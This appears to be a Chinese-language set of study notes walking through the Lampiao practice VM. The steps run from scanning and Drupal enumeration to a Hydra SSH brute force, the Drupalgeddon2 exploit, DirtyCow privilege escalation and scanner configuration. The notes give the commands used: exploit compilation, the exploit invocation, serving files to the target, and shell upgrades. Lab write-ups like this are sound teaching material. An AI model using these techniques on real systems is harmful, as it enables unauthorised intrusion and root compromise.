项目二:Lampio 热门看点
#探测靶机IP
【资料图】
---查看Kail本机IP:192.168.180.133
---探测同网段的主机:-sn:使用Ping进行Scan,但是不进行端口扫描;-sP:和sn一样,并且将扫描的详细结果打印出来(sP能够扫描IP地址对应的域名,更详细)
---第一个是网关,第二个是Kail主机,靶机IP:192.168.180.135
---进行端口、操作系统扫描
---: -p-扫描全端口;-O扫描操作系统;-sS采用介于隐蔽性和准确性之间的半开放扫描
---:开放的Linux远程连接的SSH端口;Web的http端口;以及不知名的1898端口(大概率是Web)
---思路1:根据80端口和1898端口Web,进行信息收集,获取SSH的用户名和密码,然后利用Hydra进行爆破
---思路2:获取Web的版本信息,识别CMS的漏洞(分为普通用户和管理员用户),获取WebShell
---80端口页面显示:It's easy,Fidumaegud!(这很容易,菲杜马古德!),最后是一个人名
---查看源代码也是一模一样,没有搜集到有用的信息
---WhatWeb进行信息收集报错:可能是80端口就是一个静态网页
---查看:http://192.168.180.135:1898/
---WhatWeb收集网站的信息,比下面的Wappalyzer信息更完善,但是可视化不行
---当然采用Wappalyzer也可以识别:Drupal7的CMS,PHP语言5.5.9,OS为:Ubuntu4..24
---RSS:是一种同步网站内容的格式,是使用最广泛的XML应用。发布一个RSS文件后,RSS Feed中的信息(标准的XML格式)被其他站点调用
---点击:兰皮昂,塞尔唐的英雄还是恶棍?的标题,里面是讲述了兰皮昂的一生经历
---注意URL:http://192.168.180.135:1898/?q=node/2,可以测试q=node/3、4、6等
---根据URL进行测试,发现加入'没有报错,可能需要SQLmap一把梭测试下
---利用XSS测试下,192.168.180.135:1898/?q=node/2<SCRIPT>alert(1)</SCRIPT>
---发现这里显示的是经过URL编码之后的内容,但是并没有弹出XSS(XSS不能提取,很多知识点我都忘了,所以就先跳过)
---在q=node/2的页面存在一个语言文件和图片文件的提示,但是直接点击访问不了
---通过访问http://192.168.180.135:1898/audio.m4a,获取一段语音内容:user:tiago
---同理,访问http://192.168.180.135:1898/qrc.png,获取到一个二维码,扫描二维码出现一段文字:Try harder! muahuahua(更努力)
---同样在q=node/3发现一段语音(只存在3页,q=node/4报错),打开是一段无关的音乐
---总结:这个阶段我们发现了一个用户名:tiago,但是需要我们爆破密码
---这个用户名可能是网站登陆的用户名,也可能是22端口的SSH服务的用户名
---如果是爆破网站密码,没有验证码的话可以使用BrupSuite进行爆破,存在验证码可以通过机器学习神经网络进行验证码识别,然后进行抓包爆破
---如果是SSH服务,则通过Hydra进行服务爆破(视频里面先爆破)
#网站的后台扫描,扫描网站的文件目录、敏感文件
---如果是Windows攻击机,可以用御剑进行爆破,御剑的字典更完善,但不能改变数据包头部
---也可以用铸剑进行扫描,
---在Kail里面,可以使用Dirb进行爆破,DirBuster支持全部的Web目录扫描方式。它既支持网页爬虫方式扫描,也支持基于字典暴力扫描,还支持纯暴力扫描
---dirb的命令参数
---查看dirb的字典,在/usr/share/wordlists/dirb/common.txt
---:big.txt大字典;small.txt小字典;catala.txt项目配置字典;euskera.txt数据目录字典;indexes.txt首页字典;mutations_common.txt备份扩展名;spanish.txt方法或库目录;
---others:网站的扩展目录、默认用户名,密码等
---stress:网站的压力测试
---vulns:网站的漏洞测试(验证POC)
---上一节知识点:爆破POP3协议的Hydra采用的是
/usr/share/wordlists/fasttrack.txt(它包含了许多常见的用户名和密码组合,以及一些常用的短语和字符串)
#总结:Kali Linux自带了一些密码字典文件,通常存储在/usr/share/wordlists/
目录下,下面是几个常用的字典:
---rockyou.txt:这是一个非常著名的密码字典文件,包含了数百万个常用密码和短语。这些密码和短语是基于从各种数据泄露和密码破解工具中获取的数据生成的(kail这里没有解压缩)
---dirb/common.txt:用于Web目录枚举的字典。它包含了一些常见的目录和文件名,用于在渗透测试中查找隐藏的目录和文件。通过将这个字典与目录扫描工具(如DirBuster、Dirsearch等)结合使用
---wfuzz/wordlist/fuzzdb.txt(WebFuzz):用于Web渗透,包含了许多常见的注入、路径遍历、文件上传等漏洞的测试字符串。该字典与模糊测试工具(如wfuzz、Burp Suite等)结合,可以尝试各种攻击载荷以测试Web应用程序的安全性
---dir的用法
---采用默认字典/usr/share/dirb/wordlists/common.txt,爆破靶场的Web目录
---爆破了目录文件,以及存在的如index.php文件、robots.txt文件
---加上-w,在原有的目录下面进行二级爆破;可以使用-o输入到文本文件
---一般使用一级爆破就可以了
---访问网站的robots.txt文件:它告诉搜索引擎抓取工具禁止或允许抓取网站的哪些内容。主流搜索引擎(如百度、Google)都能够识别并尊重 Robots.txt的要求
---robots.txt泄露了文件路径以及存在的文件名称,最重要的几个txt文件,不允许的才重要
---查看changelog.txt,可以看出网站的更新日志:Drupal 7.54
---通过searchsploit寻找Drupal 7.54的漏洞,存在多个远程代码执行(发现这里既可以输入CMS名称和版本,也可以先在谷歌的exploit-db查找漏洞编号)
#自定义爆破的密码字典:cewl:通过爬行网站获取关键信息创建一个密码字典
---Cewl采用Ruby开发,可以给他的爬虫指定URL地址和爬取深度,还可以添加外部链接,Cewl会返回一个字典文件、
---使用举例
---将网站的关键信息进行自动分词,然后存储到字典里面
---通过hydra爆破SSH(secret file transfer protocol, Secure FTP),采用cewl爬取的字典:
---用户名:tiago,密码:Virgulino(这个好像只能爬取指定的页面,对于整个网站,需要多次爬取)
---登陆ssh,输入完后先会提示确认key密钥验证信息是否一致
---SHA256:加密算法服务器的验证指纹:用来验证是否是连接的服务器主机
---ssh服务端(靶机),sshd_config:是ssh服务端配置文件,ssh_config:是客户端配置文件
---首次ssh连接服务端,服务端(靶机)就会记录连接的IP地址以及公钥信息,存放在known_hosts文件里面,后续再次连接就不需要检查指纹信息了
---博客上说known_hosts在~/.ssh/known_hosts;但是我没有找到
---ssh的连接记录在/var/log/auth.log(是一个隐藏文件,需要ls -a查看)
---并且发现OS版本:Linux 4.4.0
#先不按照视频的思路,按照上一节的思路,谷歌搜索: Linux lampiao 4.4.0 exploit
---搜索exploit-db的漏洞编号
---将exp复制到当前目录,并用Python3在当前目录开启HTTP服务(-m是module(模块)的意思)
---靶机下载exp,然后编译,这里发现少了头文件(这里<>符号是编译器自带的头文件)
---可能的解决:下载bpf.h文件
,然后移动到/usr/include/linux目录下
---当然,也说明当前的exp不适合当前的Linux内核(uname -r查看Linux内核版本)
#在GitHub上下载:linux-exploit-suggester:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
---网上的修改/etc/hosts的DNS缓存路由的方法行不通,还是得按视频里面方法挂代理
---我在Windows本机的代理服务器走的是1080端口
---注意:在NAT模式下,主机的IP是192.168.180.1(网关),我用netcat进行聊天测试
------之所以主机IP是网关,是因为虚拟机的的网络数据,先发给宿主机,然后再添加数据头,发给路由器
---设置代理:vi /etc/proxychains4.conf
---尝试通过代理连接(我这里失败了,估计是Windows主机的V2不支持远程连接):
proxychains wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
---访问访问 https://ipaddress.com/ ,在下方搜索框里输入 raw.githubusercontent.com和github.com 回车,会发现下载地址的DNS域名解析的IP地址
---gedit /etc/hosts打开本地DNS缓存,将github和github下载资源域名的IP地址写上
---注意:测试了一下,只有111.133这个IP可以使用
---修改DNS配置文件:gedit /etc/resolv.conf
---这两个是Google提供的的免费的DNS服务器,198.168.180.2是虚拟机的DNS服务器
---下载成功
---通过ssh进行文件传输(我是用的finalshell进行上传)
---finalshell下载:http://www.hostbuf.com/t/988.html
---然后通过Windows直接下载linux-exploit-suggester到桌面,然后通过FinalShell上传到靶机
---也可以通过python -m http.server 8081进行传输
---执行linux-exploit-suggester(扫描当前内核是否存在漏洞可以提权,这个脚本一安上去就报毒,需要进行免杀才行)
---首先是对内核版本、架构、发行版本、附加检查情况、程序包监听等OS基本情况进行探测
---其次对内核漏洞(内核漏洞进行提权)和用户空间漏洞进行计数
---最后给出可能漏洞:漏洞细节、漏洞可能性、漏洞的要求、exp的下载地址、漏洞利用注释
---提权的思路:从highly probable到less probable依次试一下,
---也可以从sudo提权,但是这里的sudo提权版本是1.8.9
---而可以利用的sudo提取,是1.8.2-1.8.3;以及1.9.0-1.9.5
---[CVE-2017-16995] eBPF_verifier和[CVE-2017-1000112] NETIF_F_UFO的测试会导致机器的直接崩溃
---能直接用的是脏牛提权:这里download url和ext-url都可以使用
---Linux内核的子系统在处理写入时复制至产生了竞争条件恶意用户可以利用此漏洞来获得高权限 对只读内存映射进行访问并且在提权的时候 杀毒软件并不会检测到
---查找对应的exp,这里的40611/40839/40847的exp猜测应该都可以使用
---40847.cpp对应的exploit
---编译:-Wall一般使用该选项,允许发出GCC能够提供的所有有用的警告
---:-pedantic允许发出ANSI/ISOC标准所列出的所有警告
---:-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
---:-std=c++11就是用按C++2011标准来编译的
---:-pthread在Linux中要用到多线程时,需要链接pthread库
---:-o dcow gcc生成的目标文件,名字为dcow
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
---将exp复制到桌面:cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/huangbo
---kail开启http服务: python -m http.server 8081
---靶机在/tmp目录下载:
#编译的过程
---步骤一:预处理(预编译):编译处理宏定义等宏命令———生成后缀为“.i”的文件---步骤二:编译:将预处理后的文件转换成汇编语言———生成后缀为“.s”的文件---步骤三:汇编:由汇编生成的文件翻译为二进制目标文件———生成后缀为“.o”的文件---步骤四:连接:多个目标文件(二进制)结合库函数等综合成的能直接独立执行的执行文件———生成后缀为“.out”的文件
---g++编译的四个步骤
---GCC和G++的区别(一个是编译C语言,一个是编译C++语言)
---gcc无法进行库文件的连接;而g++则能完整编译出可执行文件,在编译c++代码时,g++会调用gcc,所以两者是等价的,但是因为gcc命令不能自动和C++程序使用的库链接,所以通常用g++来完成链接,为了统一起见,干脆编译/链接都用g++
---gcc在编译.c文件时,可使用预定义宏是比较少的,g++在编译c文件和cpp文件时(这时候gcc和g++调用的都是cpp文件的编译器),会加入一些额外的宏
---gcc常用的参数(g++的参数是一样的)
---编译exp:g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
---执行编译后的exp,获取到root的密码: dirtyCowFun
---根据密码提示登陆root用户,在root目录下获取flag的密码
#之前在robots.txt文件中的Disallow目录中,获取到changelog.txt(更新日志)的CMS版本信息:Drupal 7.54
---谷歌搜索(exploit-db也可以)CMS的exp:drupal 7.54 exploit,发现远程命令执行漏洞
--这个exp给出了使用分为三步:---1.使用SQL注入获取当前端点的缓存内容以及管理员凭据和哈希---2.更改缓存以允许我们写入文件并执行此操作(通过数据库写入文件)---3.恢复缓存(数据库数据)
---可以根据上面exp在exploit-db的编号,也可以直接搜索CMS的版本
---都可以发现exp,下载下来是rb格式(ruby语言的文件),或者是txt\php格式
---AWVS的下载安装:https://blog.csdn.net/qq_55213436/article/details/126751047(安装)
---下载:https://blog.csdn.net/m0_37157335/article/details/124090300
---我的AWVS在Windows上安装老是报错数据库错误,就在Kail上安装了
---同时给出了漏洞描述和下载
#Xray、AWVS和BrupSuite为什么要进行联动?
---如果想要单个界面逐个测试,同时验证漏洞是否可执行,那么就需要 BS作为中间人,把数据传到 Xray , 我们就可以根据 Xray 给的漏洞提示,结合 BS 进行漏洞可行性测试(而且更安全)
---如果想利用社区版Xray进行爬虫爆破子域名或者各种文件后缀,这些功能得付费才能使用, AWVS 的爬虫功能又很厉害,可以利用代理将 WEB 从 AWVS 过一遍, 再从 Xray 过一遍
#总结:
---AWVS爬虫功能很厉害,但是他的EXP对于web的伤害比较大,而且国内网站的exp可能收集的比较少;
---Xray对于Web漏洞挖掘比较好,但是爬虫功能要收费;要么使用BrupSuite进行单个URL的漏洞扫描,要么使用AWVS的爬虫进行批量URL漏洞扫描
---Xray下载:https://download.xray.cool/xray/1.9.6
---证书安装:它是Xray的授权许可证,它并不是使用Xray的必要条件,但是如果要我们要用Xray的服务端模式接入Xray的API,就需要再Xray的客户端和服务器之间建立安全连接
---在到xray的安装目录中打开该证书,并导入到我们的受信任的根证书颁发机构中去
---例如:下面这个命令是对指定的 URL 进行 Web 漏洞扫描,并使用基础爬虫组件发现其它链接和目录信息,并将扫描结果保存为HTML 格式输出到名为 day1.html 的文件中---:webscan 它表示Web漏洞扫描任务---:—basic-crawler :他是Xary的基础爬虫,用于发现网站中的链接和目录信息---:http://192.168.30.16:它是目标网站---:–HTML-output: 指定扫描结果保存为html格式的day1.html文件(无参数:输出到控制台的标准输出;---text-output:输出到文本文件中---json-output:输出到 JSON 文件中;---proxy:使用代理服务器的套接字
---对靶机的指定URL进行爬虫,并且进行Web漏洞扫描,并且输出到HTML文件
---扫描效果如下:这里(紫色部分):已加载814个poc(调试级别将显示更多详细信息)---由于未配置反向服务器,这些插件将被禁用,请查看参考以修复此错误。参考编号:https://docs.xray.cool/#/configration/reverse,插件如下:
---红色部分才是爬取URL的漏洞,注意查看漏洞类型
---但是在漏洞类型里面没有看到视频里面的远程命令执行(视频是用的AWVS爬取)
---Xray常用的命令如下:
---在AWVS的目标里面新建目标
---写入靶机的URL,建立扫描目标
---在http设置代理,更改完成后点击save(先不要点击扫描,xray还没开),业务关键性选严重
---这里还可以设置爬虫的User-Agent,Cookie,Referer,延迟时间等等
---开启Xray的被动扫描模式,监听本地1111端口(注意是--listen两个-)
---Xray加载模块,报告部分模块由于没有配置不能加载,然后再监听1111端口
---在AWVS点击扫描,然后将配置文件设置为仅使用爬虫
---等到AWVS扫描结束
---在Xray的目录发现awvs.html文件,打开http服务(直接FinalShell下载也可以)
---返回在Window主机浏览器查看(Xray自带的爬虫扫了18个,AWVS+Xray扫了48个还不错)
---但是没有看到视频里面的CVE的远程代码执行漏洞,我也没办法了
---我个人觉得AWVS比Xray更好用,但是听说AWVS漏洞扫描会插入很多脏数据,而且Xray的漏洞更加可靠
---当然,除了AWVS的爬虫之外,还可以使用浏览器的代理,将Xray设置成代理
---然后手动点击浏览器的页面,Xray监听端口,进而进行被动扫描
---使用BrupSuite的插件Passive Scan Client相当于复制了一份数据,将正常访问网站的流量与提交给被动扫描器的流量分开,互不影响
---Passive Scan Client下载:https://github.com/c0ny1/passive-scan-client/releases
---打开kali-burpsuite导入passive-scan-client.0.1.jar:
---这样就导入成功,多出一个模块栏:Passive Scan Client
----这里有个前提,Xray的ca证书已经导入了,但是burpsuite的ca证书没导入,这里需要导入下不然HTTPS流量bp无法抓取:
---访问:http://127.0.0.1:8080/下载证书并且安装
------在配置BrupSuite的时候,先设置浏览器的端口是8081
---然后将BrupSuite设置为浏览器的代理
----然后将关闭intercept is off,这样服务器发送给浏览器的数据包,就先发送给BrupSuite
----同样,浏览器的响应,先发给BrupSuite,再给服务器
---如果手动抓包修改,就打开intercept,发送给repeater
------如果不使用Passive Scan Client,就可以用在User Options设置反向代理
---但是用Passive Scan Client插件更安全吧,建议用插件
---开始设置Passive Scan Client:我们在利用burpsuite抓包分析页面的时候,所有的数据都会通过Passive Scan Client插件转发到设置的本地7777端口上,也就是xray上
---然后xray会自动挖掘所有转发过来的流量信息并查找到漏洞记录在html文件中,这里还可以限定转发出去的数据包类型等等
---在浏览就尽可能的点击网站,发现比爬虫的网页更少,也没有发现命令执行
---这种方式适合高手,采用手工和机器扫描结合的方式
---直接网上搜索漏洞CVE-2018-7600:https://github.com/dreadlocked/Drupalgeddon2
---Drupal 7.54满足<7.58的约束,使用方法:ruby drupalgeddon2.rb https://example.com
---下载exp到Kail,采用git clone
---直接运行会报错,这里说不能加载依赖项
---输入 gem install highline再次运行exp
---在ruby中,gem管理ruby库和程序包,可以使用gem来查找、安装、更新和卸载ruby库和程序
---这里拿到的是普通权限的webshell,这是拿webShell的第二种方法
---这里还是要通过Linux-exploit-suggester来进行提权
#采用MSF来进行拿Webshell,搜索CMS的exp(这里的思路是要按个试一次才行)
---这里需要靶机的IP,端口、URL
---输入靶机IP和端口,不需要输入URL
---使用Pty将这个伪shell变成稳定的shell
python -c 'import pty; pty.spawn("/bin/bash")'
---接下来就是提权,需要将linux-exploit-suggester.sh上传到靶机
---之前可以通过python -m http.server来传输
---但是也可以通过MSF的upload功能来进行传输
---exit第一次退出pty,第二次退出shell,然后使用uplod命令:
upload /本机文件地址 /靶机地址
#知识点总结:
---1.nmap收集同网段主机信息、操作系统信息、端口版本信息
---2.WhatWeb、Wappalyzer收集网站:中间件信息、JavaScript框架、编程语言、CMS信息
---3.御剑、铸剑、dirb等采用字典爆破网站的目录结构、配置文件等
---4.robots.txt文件的敏感信息阅读(Disallow),CHANGELOG.txt的版本信息获取CMS(也可以通过页脚、ico文件、查看前端源码等方法获取CMS信息)
---5.Cewl爬取网站,切分Web关键词,组成爆破密码本字典
---7.Hydra利用字典爆破SSH服务,获取普通用户权限
---8.uname -a查看Linux版本,谷歌手动搜索相关内核的exploit
---9.采用linux-exploit-suggester.sh进行漏洞信息查看,进而提权
---10.修改DNS域名解析记录和DNS配置(服务器IP)访问Github
---11.脏牛(dirtycow)提权和sudo提权
---12.gcc编译器和g++编译器的区别,以及编译的四个过程:1.预处理(解析宏)2.编译(转化为汇编)3.汇编(汇编语言转化为二进制机器语言)4.连接(加载其它函数的二进制语言)
---13.根据CMS编号,通过searchsploit搜索:CMS+版本号;MSF搜索CMS
---14.AWVS+Xray进行爬虫主动扫描(效率高),BrupSuite+Passive Scan Client+Xray进行被动扫描(手工测试和扫描器结合),
---15.MSF通过CMS拿Webshell,upload上传文件,通过pty获取稳定shell